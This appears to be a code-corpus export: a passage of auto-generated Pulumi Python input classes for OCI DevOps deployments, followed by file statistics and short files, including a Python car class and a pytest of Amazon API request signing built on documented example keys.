"policy_type", value) @property @pulumi.getter(name="batchCount") def batch_count(self) -> Optional[pulumi.Input[int]]: """ (Updatable) The number that will be used to determine how many instances will be deployed concurrently. """ return pulumi.get(self, "batch_count") @batch_count.setter def batch_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "batch_count", value) @property @pulumi.getter(name="batchDelayInSeconds") def batch_delay_in_seconds(self) -> Optional[pulumi.Input[int]]: """ (Updatable) The duration of delay between batch rollout. The default delay is 1 minute. """ return pulumi.get(self, "batch_delay_in_seconds") @batch_delay_in_seconds.setter def batch_delay_in_seconds(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "batch_delay_in_seconds", value) @property @pulumi.getter(name="batchPercentage") def batch_percentage(self) -> Optional[pulumi.Input[int]]: """ (Updatable) The percentage that will be used to determine how many instances will be deployed concurrently. """ return pulumi.get(self, "batch_percentage") @batch_percentage.setter def batch_percentage(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "batch_percentage", value) @property @pulumi.getter(name="rampLimitPercent") def ramp_limit_percent(self) -> Optional[pulumi.Input[float]]: """ (Updatable) Indicates the criteria to stop. """ return pulumi.get(self, "ramp_limit_percent") @ramp_limit_percent.setter def ramp_limit_percent(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "ramp_limit_percent", value) @pulumi.input_type class DeployStageWaitCriteriaArgs: def __init__(__self__, *, wait_duration: pulumi.Input[str], wait_type: pulumi.Input[str]): """ :param pulumi.Input[str] wait_duration: (Updatable) The absolute wait duration. An ISO 8601 formatted duration string. Minimum waitDuration should be 5 seconds. Maximum waitDuration can be up to 2 days. :param pulumi.Input[str] wait_type: (Updatable) Wait criteria type. """ pulumi.set(__self__, "wait_duration", wait_duration) pulumi.set(__self__, "wait_type", wait_type) @property @pulumi.getter(name="waitDuration") def wait_duration(self) -> pulumi.Input[str]: """ (Updatable) The absolute wait duration. An ISO 8601 formatted duration string. Minimum waitDuration should be 5 seconds. Maximum waitDuration can be up to 2 days. """ return pulumi.get(self, "wait_duration") @wait_duration.setter def wait_duration(self, value: pulumi.Input[str]): pulumi.set(self, "wait_duration", value) @property @pulumi.getter(name="waitType") def wait_type(self) -> pulumi.Input[str]: """ (Updatable) Wait criteria type. """ return pulumi.get(self, "wait_type") @wait_type.setter def wait_type(self, value: pulumi.Input[str]): pulumi.set(self, "wait_type", value) @pulumi.input_type class DeploymentDeployArtifactOverrideArgumentsArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployArtifactOverrideArgumentsItemArgs']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['DeploymentDeployArtifactOverrideArgumentsItemArgs']]] items: List of arguments provided at the time of deployment. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployArtifactOverrideArgumentsItemArgs']]]]: """ List of arguments provided at the time of deployment. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployArtifactOverrideArgumentsItemArgs']]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeploymentDeployArtifactOverrideArgumentsItemArgs: def __init__(__self__, *, deploy_artifact_id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] deploy_artifact_id: The OCID of the artifact to which this parameter applies. :param pulumi.Input[str] name: Name of the parameter (case-sensitive). :param pulumi.Input[str] value: value of the argument. """ if deploy_artifact_id is not None: pulumi.set(__self__, "deploy_artifact_id", deploy_artifact_id) if name is not None: pulumi.set(__self__, "name", name) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter(name="deployArtifactId") def deploy_artifact_id(self) -> Optional[pulumi.Input[str]]: """ The OCID of the artifact to which this parameter applies. """ return pulumi.get(self, "deploy_artifact_id") @deploy_artifact_id.setter def deploy_artifact_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deploy_artifact_id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Name of the parameter (case-sensitive). """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ value of the argument. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class DeploymentDeployPipelineArtifactsArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineArtifactsItemArgs']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineArtifactsItemArgs']]] items: List of arguments provided at the time of deployment. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineArtifactsItemArgs']]]]: """ List of arguments provided at the time of deployment. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineArtifactsItemArgs']]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeploymentDeployPipelineArtifactsItemArgs: def __init__(__self__, *, deploy_artifact_id: Optional[pulumi.Input[str]] = None, deploy_pipeline_stages: Optional[pulumi.Input['DeploymentDeployPipelineArtifactsItemDeployPipelineStagesArgs']] = None, display_name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] deploy_artifact_id: The OCID of the artifact to which this parameter applies. :param pulumi.Input['DeploymentDeployPipelineArtifactsItemDeployPipelineStagesArgs'] deploy_pipeline_stages: List of stages. :param pulumi.Input[str] display_name: (Updatable) Deployment display name. Avoid entering confidential information. """ if deploy_artifact_id is not None: pulumi.set(__self__, "deploy_artifact_id", deploy_artifact_id) if deploy_pipeline_stages is not None: pulumi.set(__self__, "deploy_pipeline_stages", deploy_pipeline_stages) if display_name is not None: pulumi.set(__self__, "display_name", display_name) @property @pulumi.getter(name="deployArtifactId") def deploy_artifact_id(self) -> Optional[pulumi.Input[str]]: """ The OCID of the artifact to which this parameter applies. """ return pulumi.get(self, "deploy_artifact_id") @deploy_artifact_id.setter def deploy_artifact_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deploy_artifact_id", value) @property @pulumi.getter(name="deployPipelineStages") def deploy_pipeline_stages(self) -> Optional[pulumi.Input['DeploymentDeployPipelineArtifactsItemDeployPipelineStagesArgs']]: """ List of stages. """ return pulumi.get(self, "deploy_pipeline_stages") @deploy_pipeline_stages.setter def deploy_pipeline_stages(self, value: Optional[pulumi.Input['DeploymentDeployPipelineArtifactsItemDeployPipelineStagesArgs']]): pulumi.set(self, "deploy_pipeline_stages", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Deployment display name. Avoid entering confidential information. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @pulumi.input_type class DeploymentDeployPipelineArtifactsItemDeployPipelineStagesArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineArtifactsItemDeployPipelineStagesItemArgs']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineArtifactsItemDeployPipelineStagesItemArgs']]] items: List of arguments provided at the time of deployment. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineArtifactsItemDeployPipelineStagesItemArgs']]]]: """ List of arguments provided at the time of deployment. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineArtifactsItemDeployPipelineStagesItemArgs']]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeploymentDeployPipelineArtifactsItemDeployPipelineStagesItemArgs: def __init__(__self__, *, deploy_stage_id: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] deploy_stage_id: Specifies the OCID of the stage to be redeployed. :param pulumi.Input[str] display_name: (Updatable) Deployment display name. Avoid entering confidential information. """ if deploy_stage_id is not None: pulumi.set(__self__, "deploy_stage_id", deploy_stage_id) if display_name is not None: pulumi.set(__self__, "display_name", display_name) @property @pulumi.getter(name="deployStageId") def deploy_stage_id(self) -> Optional[pulumi.Input[str]]: """ Specifies the OCID of the stage to be redeployed. """ return pulumi.get(self, "deploy_stage_id") @deploy_stage_id.setter def deploy_stage_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deploy_stage_id", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Deployment display name. Avoid entering confidential information. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @pulumi.input_type class DeploymentDeployPipelineEnvironmentsArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineEnvironmentsItemArgs']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineEnvironmentsItemArgs']]] items: List of arguments provided at the time of deployment. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineEnvironmentsItemArgs']]]]: """ List of arguments provided at the time of deployment. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineEnvironmentsItemArgs']]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeploymentDeployPipelineEnvironmentsItemArgs: def __init__(__self__, *, deploy_environment_id: Optional[pulumi.Input[str]] = None, deploy_pipeline_stages: Optional[pulumi.Input['DeploymentDeployPipelineEnvironmentsItemDeployPipelineStagesArgs']] = None, display_name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] deploy_environment_id: The OCID of an Environment :param pulumi.Input['DeploymentDeployPipelineEnvironmentsItemDeployPipelineStagesArgs'] deploy_pipeline_stages: List of stages. :param pulumi.Input[str] display_name: (Updatable) Deployment display name. Avoid entering confidential information. """ if deploy_environment_id is not None: pulumi.set(__self__, "deploy_environment_id", deploy_environment_id) if deploy_pipeline_stages is not None: pulumi.set(__self__, "deploy_pipeline_stages", deploy_pipeline_stages) if display_name is not None: pulumi.set(__self__, "display_name", display_name) @property @pulumi.getter(name="deployEnvironmentId") def deploy_environment_id(self) -> Optional[pulumi.Input[str]]: """ The OCID of an Environment """ return pulumi.get(self, "deploy_environment_id") @deploy_environment_id.setter def deploy_environment_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deploy_environment_id", value) @property @pulumi.getter(name="deployPipelineStages") def deploy_pipeline_stages(self) -> Optional[pulumi.Input['DeploymentDeployPipelineEnvironmentsItemDeployPipelineStagesArgs']]: """ List of stages. """ return pulumi.get(self, "deploy_pipeline_stages") @deploy_pipeline_stages.setter def deploy_pipeline_stages(self, value: Optional[pulumi.Input['DeploymentDeployPipelineEnvironmentsItemDeployPipelineStagesArgs']]): pulumi.set(self, "deploy_pipeline_stages", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Deployment display name. Avoid entering confidential information. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @pulumi.input_type class DeploymentDeployPipelineEnvironmentsItemDeployPipelineStagesArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineEnvironmentsItemDeployPipelineStagesItemArgs']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineEnvironmentsItemDeployPipelineStagesItemArgs']]] items: List of arguments provided at the time of deployment. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineEnvironmentsItemDeployPipelineStagesItemArgs']]]]: """ List of arguments provided at the time of deployment. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeployPipelineEnvironmentsItemDeployPipelineStagesItemArgs']]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeploymentDeployPipelineEnvironmentsItemDeployPipelineStagesItemArgs: def __init__(__self__, *, deploy_stage_id: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] deploy_stage_id: Specifies the OCID of the stage to be redeployed. :param pulumi.Input[str] display_name: (Updatable) Deployment display name. Avoid entering confidential information. """ if deploy_stage_id is not None: pulumi.set(__self__, "deploy_stage_id", deploy_stage_id) if display_name is not None: pulumi.set(__self__, "display_name", display_name) @property @pulumi.getter(name="deployStageId") def deploy_stage_id(self) -> Optional[pulumi.Input[str]]: """ Specifies the OCID of the stage to be redeployed. """ return pulumi.get(self, "deploy_stage_id") @deploy_stage_id.setter def deploy_stage_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deploy_stage_id", value) @property @pulumi.getter(name="displayName") def display_name(self) -> Optional[pulumi.Input[str]]: """ (Updatable) Deployment display name. Avoid entering confidential information. """ return pulumi.get(self, "display_name") @display_name.setter def display_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "display_name", value) @pulumi.input_type class DeploymentDeploymentArgumentsArgs: def __init__(__self__, *, items: Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeploymentArgumentsItemArgs']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['DeploymentDeploymentArgumentsItemArgs']]] items: List of arguments provided at the time of deployment. """ if items is not None: pulumi.set(__self__, "items", items) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeploymentArgumentsItemArgs']]]]: """ List of arguments provided at the time of deployment. """ return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['DeploymentDeploymentArgumentsItemArgs']]]]): pulumi.set(self, "items", value) @pulumi.input_type class DeploymentDeploymentArgumentsItemArgs: def __init__(__self__, *, name: Optional[pulumi.Input[str]] = None, value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: Name of the parameter (case-sensitive). :param pulumi.Input[str] value: value of the argument. """ if name is not None: pulumi.set(__self__, "name", name) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Name of the parameter (case-sensitive). """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ value of the argument. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class DeploymentDeploymentExecutionProgressArgs: def __init__(__self__, *, deploy_stage_execution_progress: Optional[pulumi.Input[Mapping[str, Any]]] = None, time_finished: Optional[pulumi.Input[str]] = None, time_started: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[Mapping[str, Any]] deploy_stage_execution_progress: Map of stage OCIDs to deploy stage execution progress model. :param pulumi.Input[str] time_finished: Time the deployment is finished. Format defined by [RFC3339](https://datatracker.ietf.org/doc/html/rfc3339). :param pulumi.Input[str] time_started: Time the deployment is started. Format defined by [RFC3339](https://datatracker.ietf.org/doc/html/rfc3339). """ if deploy_stage_execution_progress is not None: pulumi.set(__self__, "deploy_stage_execution_progress", deploy_stage_execution_progress) if time_finished is not None: pulumi.set(__self__, "time_finished", time_finished) if time_started is not None: pulumi.set(__self__, "time_started", time_started) @property @pulumi.getter(name="deployStageExecutionProgress") def deploy_stage_execution_progress(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ Map of stage OCIDs to deploy stage execution progress model. """ return pulumi.get(self, "deploy_stage_execution_progress") @deploy_stage_execution_progress.setter def deploy_stage_execution_progress(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "deploy_stage_execution_progress", value) @property @pulumi.getter(name="timeFinished") def time_finished(self) -> Optional[pulumi.Input[str]]: """ Time the deployment is finished. Format defined by [RFC3339](https://datatracker.ietf.org/doc/html/rfc3339). """ return pulumi.get(self, "time_finished") @time_finished.setter def time_finished(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "time_finished", value) @property @pulumi.getter(name="timeStarted") def time_started(self) -> Optional[pulumi.Input[str]]: """ Time the deployment is started. Format defined by [RFC3339](https://datatracker.ietf.org/doc/html/rfc3339). """ return pulumi.get(self, "time_started") @time_started.setter def time_started(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "time_started", value) @pulumi.input_type class ProjectNotificationConfigArgs: def __init__(__self__, *, topic_id: pulumi.Input[str]): """ :param pulumi.Input[str] topic_id: (Updatable) The topic ID for notifications. """ pulumi.set(__self__, "topic_id", topic_id) @property @pulumi.getter(name="topicId") def topic_id(self) -> pulumi.Input[str]: """ (Updatable) The topic ID for notifications. """ return pulumi.get(self, "topic_id") @topic_id.setter def topic_id(self, value: pulumi.Input[str]): pulumi.set(self, "topic_id", value) @pulumi.input_type class GetDeployArtifactsFilterArgs: def __init__(__self__, *, name: str, values: Sequence[str], regex: Optional[bool] = None): pulumi.set(__self__, "name", name) pulumi.set(__self__, "values", values) if regex is not None: pulumi.set(__self__, "regex", regex) @property @pulumi.getter def name(self) -> str: return pulumi.get(self, "name") @name.setter def name(self, value: str): pulumi.set(self, "name", value) @property @pulumi.getter def values(self) -> Sequence[str]: return pulumi.get(self, "values") @values.setter def values(self, value: Sequence[str]): pulumi.set(self, "values", value) @property @pulumi.getter def regex(self) -> Optional[bool]: return pulumi.get(self, "regex") @regex.setter def regex(self, value: Optional[bool]): pulumi.set(self, "regex", value) @pulumi.input_type class GetDeployEnvironmentsFilterArgs: def __init__(__self__, *, name: str, values: Sequence[str], regex: Optional[bool] = None): pulumi.set(__self__, "name", name) pulumi.set(__self__, "values", values) if regex is not None: pulumi.set(__self__, "regex", regex) @property @pulumi.getter def name(self) -> str: return pulumi.get(self, "name") @name.setter def name(self, value: str): pulumi.set(self, "name", value) @property @pulumi.getter def values(self) -> Sequence[str]: return pulumi.get(self, "values") @values.setter def values(self, value: Sequence[str]): pulumi.set(self, "values", value) @property @pulumi.getter def regex(self) -> Optional[bool]: return pulumi.get(self, "regex") @regex.setter def regex(self, value: Optional[bool]): pulumi.set(self, "regex", value) @pulumi.input_type class GetDeployPipelinesFilterArgs: def __init__(__self__, *, name: str, values: Sequence[str], regex: Optional[bool] = None): """ :param str name: Name of the parameter (case-sensitive). Parameter name must be ^[a-zA-Z][a-zA-Z_0-9]*$. """ pulumi.set(__self__, "name", name) pulumi.set(__self__, "values", values) if regex is not None: pulumi.set(__self__, "regex", regex) @property @pulumi.getter def name(self) -> str: """ Name of the parameter (case-sensitive). Parameter name must be ^[a-zA-Z][a-zA-Z_0-9]*$. """ return pulumi.get(self, "name") @name.setter def name(self, value: str): pulumi.set(self, "name", value) @property @pulumi.getter def values(self) -> Sequence[str]: return pulumi.get(self, "values") @values.setter def values(self, value: Sequence[str]): pulumi.set(self, "values", value) @property @pulumi.getter def regex(self) -> Optional[bool]: return pulumi.get(self, "regex") @regex.setter def regex(self, value: Optional[bool]): pulumi.set(self, "regex", value) @pulumi.input_type class GetDeployStagesFilterArgs: def __init__(__self__, *, name: str, values: Sequence[str], regex: Optional[bool] = None): pulumi.set(__self__, "name", name) pulumi.set(__self__, "values", values) if regex is not None: pulumi.set(__self__, "regex", regex) @property @pulumi.getter def name(self) -> str: return pulumi.get(self, "name") @name.setter def name(self, value: str): pulumi.set(self, "name", value) @property @pulumi.getter def values(self) -> Sequence[str]: return pulumi.get(self, "values") @values.setter def values(self, value: Sequence[str]): pulumi.set(self, "values", value) @property @pulumi.getter def regex(self) -> Optional[bool]: return pulumi.get(self, "regex") @regex.setter def regex(self, value: Optional[bool]): pulumi.set(self, "regex", value) @pulumi.input_type class GetDeploymentsFilterArgs: def __init__(__self__, *, name: str, values: Sequence[str], regex: Optional[bool] = None): """ :param str name: Name of the step. """ pulumi.set(__self__, "name", name) pulumi.set(__self__, "values", values) if regex is not None: pulumi.set(__self__, "regex", regex) @property @pulumi.getter def name(self) -> str: """ Name of the step. """ return pulumi.get(self, "name") @name.setter def name(self, value: str): pulumi.set(self, "name", value) @property @pulumi.getter def values(self) -> Sequence[str]: return pulumi.get(self, "values") @values.setter def values(self, value: Sequence[str]): pulumi.set(self, "values", value) @property @pulumi.getter def regex(self) -> Optional[bool]: return pulumi.get(self, "regex") @regex.setter def regex(self, value: Optional[bool]): pulumi.set(self, "regex", value) @pulumi.input_type class GetProjectsFilterArgs: def __init__(__self__, *, name: str, values: Sequence[str], regex: Optional[bool] = None): """ :param str name: A filter to return only resources that match the entire name given. """ pulumi.set(__self__, "name", name) pulumi.set(__self__, "values", values) if regex is not None: pulumi.set(__self__, "regex", regex) @property @pulumi.getter def name(self) -> str: """ A filter to return only resources that match the entire name given. """ return pulumi.get(self, "name") @name.setter def name(self, value: str): pulumi.set(self, "name", value) @property @pulumi.getter def values(self) -> Sequence[str]: return pulumi.get(self, "values") @values.setter def values(self, value: Sequence[str]): pulumi.set(self, "values", value) @property @pulumi.getter def regex(self) -> Optional[bool]: return pulumi.get(self, "regex") @regex.setter def regex(self, value: Optional[bool]): pulumi.set(self, "regex", value)
39.691135
285
0.673268
7,583
70,293
6.038243
0.045628
0.098738
0.061151
0.053333
0.830327
0.773128
0.701385
0.615118
0.59782
0.557723
0
0.001473
0.217817
70,293
1,770
286
39.713559
0.831308
0.2219
0
0.610603
1
0
0.164656
0.108615
0
0
0
0
0
1
0.211152
false
0
0.00457
0.013711
0.340951
0
0
0
0
null
0
0
0
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
5
eff9335098362207495c723ca8947dfed946b75a
149
py
Python
python/toyota_corolla.py
xpsurgery/car-plant
7c1f2c188a06adc79240145890b569462ee1ced6
[ "MIT" ]
1
2018-12-22T22:20:22.000Z
2018-12-22T22:20:22.000Z
python/toyota_corolla.py
xpsurgery/car-plant
7c1f2c188a06adc79240145890b569462ee1ced6
[ "MIT" ]
null
null
null
python/toyota_corolla.py
xpsurgery/car-plant
7c1f2c188a06adc79240145890b569462ee1ced6
[ "MIT" ]
null
null
null
from front_wheel_drive_car import FrontWheelDriveCar class ToyotaCorolla(FrontWheelDriveCar): def name(self): return "Toyota Corolla"
18.625
52
0.771812
16
149
7
0.9375
0
0
0
0
0
0
0
0
0
0
0
0.174497
149
7
53
21.285714
0.910569
0
0
0
0
0
0.094595
0
0
0
0
0
0
1
0.25
false
0
0.25
0.25
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
4bf96e8f09f09d5541b2ee7c9152dcc35682a7d2
49
py
Python
cpen/__init__.py
kajchang/CodePen-Downloader
6a979e5f5e614d11c4c9a41060a309ba0e7c1b2a
[ "MIT" ]
2
2018-11-06T00:19:48.000Z
2021-04-02T18:36:28.000Z
cpen/__init__.py
kajchang/CodePen-Downloader
6a979e5f5e614d11c4c9a41060a309ba0e7c1b2a
[ "MIT" ]
null
null
null
cpen/__init__.py
kajchang/CodePen-Downloader
6a979e5f5e614d11c4c9a41060a309ba0e7c1b2a
[ "MIT" ]
1
2020-02-28T03:27:49.000Z
2020-02-28T03:27:49.000Z
from .codepen_downloader import download_codepen
24.5
48
0.897959
6
49
7
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.081633
49
1
49
49
0.933333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
3256802b9fe4e31349bdfd03e2e51f43af490fd9
4,030
py
Python
tests/test_util.py
kaizensoze/popular-books
0c1a125c620174a1819c19ef31cf00d588aa4d3b
[ "MIT" ]
null
null
null
tests/test_util.py
kaizensoze/popular-books
0c1a125c620174a1819c19ef31cf00d588aa4d3b
[ "MIT" ]
3
2016-08-14T00:21:25.000Z
2016-08-14T08:23:57.000Z
tests/test_util.py
kaizensoze/popular-books
0c1a125c620174a1819c19ef31cf00d588aa4d3b
[ "MIT" ]
null
null
null
import pytest from popbooks.util import generate_signature class TestGenerateSignature: @pytest.mark.parametrize('url, string_to_sign, expected_signature', [ ("http://webservices.amazon.com/onca/xml?Service=AWSECommerceService&AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&AssociateTag=mytag-20&Operation=ItemLookup&ItemId=0679722769&ResponseGroup=Images,ItemAttributes,Offers,Reviews&Version=2013-08-01&Timestamp=2014-08-18T12:00:00Z", "GET\nwebservices.amazon.com\n/onca/xml\nAWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&AssociateTag=mytag-20&ItemId=0679722769&Operation=ItemLookup&ResponseGroup=Images%2CItemAttributes%2COffers%2CReviews&Service=AWSECommerceService&Timestamp=2014-08-18T12%3A00%3A00Z&Version=2013-08-01", "j7bZM0LXZ9eXeZruTqWm2DIvDYVUU3wxPPpp%2BiXxzQc%3D"), ("http://webservices.amazon.co.uk/onca/xml?Service=AWSECommerceService&Operation=ItemSearch&AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&Operation=ItemSearch&Actor=Johnny%20Depp&ResponseGroup=ItemAttributes,Offers,Images,Reviews,Variations&Version=2013-08-01&SearchIndex=DVD&Sort=salesrank&AssociateTag=mytag-20&Timestamp=2014-08-18T17:34:34.000Z", "GET\nwebservices.amazon.co.uk\n/onca/xml\nAWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&Actor=Johnny%20Depp&AssociateTag=mytag-20&Operation=ItemSearch&Operation=ItemSearch&ResponseGroup=ItemAttributes%2COffers%2CImages%2CReviews%2CVariations&SearchIndex=DVD&Service=AWSECommerceService&Sort=salesrank&Timestamp=2014-08-18T17%3A34%3A34.000Z&Version=2013-08-01", "Gv4kWyAAD3xgSGI86I4qZ1zIjAhZYs2H7CRTpeHLD1o%3D"), ("http://webservices.amazon.com/onca/xml?Service=AWSECommerceService&Operation=ItemSearch&AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&Operation=CartCreate&Version=2013-08-01&Item.1.OfferListingId=j8ejq9wxDfSYWf2OCp6XQGDsVrWhl08GSQ9m5j%2Be8MS449BN1XGUC3DfU5Zw4nt%2FFBt87cspLow1QXzfvZpvzg%3D%3D&Item.1.Quantity=3&AssociateTag=mytag-20&Timestamp=2014-08-18T17:36:55.000Z", "GET\nwebservices.amazon.com\n/onca/xml\nAWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&AssociateTag=mytag-20&Item.1.OfferListingId=j8ejq9wxDfSYWf2OCp6XQGDsVrWhl08GSQ9m5j%2Be8MS449BN1XGUC3DfU5Zw4nt%2FFBt87cspLow1QXzfvZpvzg%3D%3D&Item.1.Quantity=3&Operation=CartCreate&Operation=ItemSearch&Service=AWSECommerceService&Timestamp=2014-08-18T17%3A36%3A55.000Z&Version=2013-08-01", "LpEUnc9tT4WGneeUwH0LvwxLLfbMEXgmjGX5GXQ1MEQ%3D"), ("http://webservices.amazon.com/onca/xml?Service=AWSECommerceService&Operation=ItemSearch&AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&Operation=BrowseNodeLookup&Version=2013-08-01&BrowseNodeId=465600&AssociateTag=mytag-20&ResponseGroup=BrowseNodeInfo,TopSellers,NewReleases,MostWishedFor,MostGifted&Timestamp=2014-08-18T17:38:12.000Z", "GET\nwebservices.amazon.com\n/onca/xml\nAWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&AssociateTag=mytag-20&BrowseNodeId=465600&Operation=BrowseNodeLookup&Operation=ItemSearch&ResponseGroup=BrowseNodeInfo%2CTopSellers%2CNewReleases%2CMostWishedFor%2CMostGifted&Service=AWSECommerceService&Timestamp=2014-08-18T17%3A38%3A12.000Z&Version=2013-08-01", "t48XyuQKLcYROCm7w%2FNqo3mihqB%2FQF2B9b9SX3FIOnU%3D"), ("http://webservices.amazon.com/onca/xml?Service=AWSECommerceService&Operation=ItemSearch&AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&Operation=SimilarityLookup&ItemId=B0011ZK6PC,B000NK8EWI&Version=2013-08-01&AssociateTag=mytag-20&ResponseGroup=Offers,ItemAttributes&SimilarityType=Intersection&Condition=New&Merchant=Amazon&Timestamp=2014-08-18T17:39:22.000Z", "GET\nwebservices.amazon.com\n/onca/xml\nAWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&AssociateTag=mytag-20&Condition=New&ItemId=B0011ZK6PC%2CB000NK8EWI&Merchant=Amazon&Operation=ItemSearch&Operation=SimilarityLookup&ResponseGroup=Offers%2CItemAttributes&Service=AWSECommerceService&SimilarityType=Intersection&Timestamp=2014-08-18T17%3A39%3A22.000Z&Version=2013-08-01", "nIlF7C6O1T3faoXIZgGVxYXd%2BD%2F39%2BFPSnwdfiQvy9g%3D") ]) def test_sign_request(self, url, string_to_sign, expected_signature): signature = generate_signature(url, override_key='1234567890') assert signature == expected_signature
223.888889
786
0.851365
442
4,030
7.735294
0.30543
0.020474
0.055572
0.043872
0.443112
0.396315
0.350687
0.327874
0.311202
0.283416
0
0.117136
0.029777
4,030
17
787
237.058824
0.757289
0
0
0
1
0.714286
0.893026
